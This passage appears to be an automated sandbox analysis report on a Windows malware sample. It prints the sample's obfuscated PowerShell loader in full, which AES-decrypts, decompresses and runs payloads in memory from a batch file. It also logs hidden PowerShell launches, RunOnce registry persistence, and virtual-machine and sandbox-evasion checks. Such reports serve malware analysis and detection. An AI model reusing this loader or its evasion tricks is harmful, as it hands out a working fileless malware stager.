'$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU='); $MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT, 0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck', ''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck', ''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne, [blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck', ''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){ Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck', ''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression '$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle = $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith(':: ')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck', '');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck', '');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden			Jump to behavior

Source: XgKnAQpuPM.exe

Static PE information: 0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D11D10 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF776D11D10

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D115F4 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF776D115F4

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\XgKnAQpuPM.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

.NET source code contains a sample name check

Source: 7.2.powershell.exe.1c691b00b88.3.raw.unpack, ---.cs

.Net Code: _F6A9_24CA_2622_EF60_FFFD contains sample name check

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_DiskDrive

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3208			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6690			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep count: 3208 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep count: 6690 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3240	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D12034 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF776D12034

Source: C:\Users\user\Desktop\XgKnAQpuPM.exe

Code function: 0_2_00007FF776D16710 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF776D16710

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
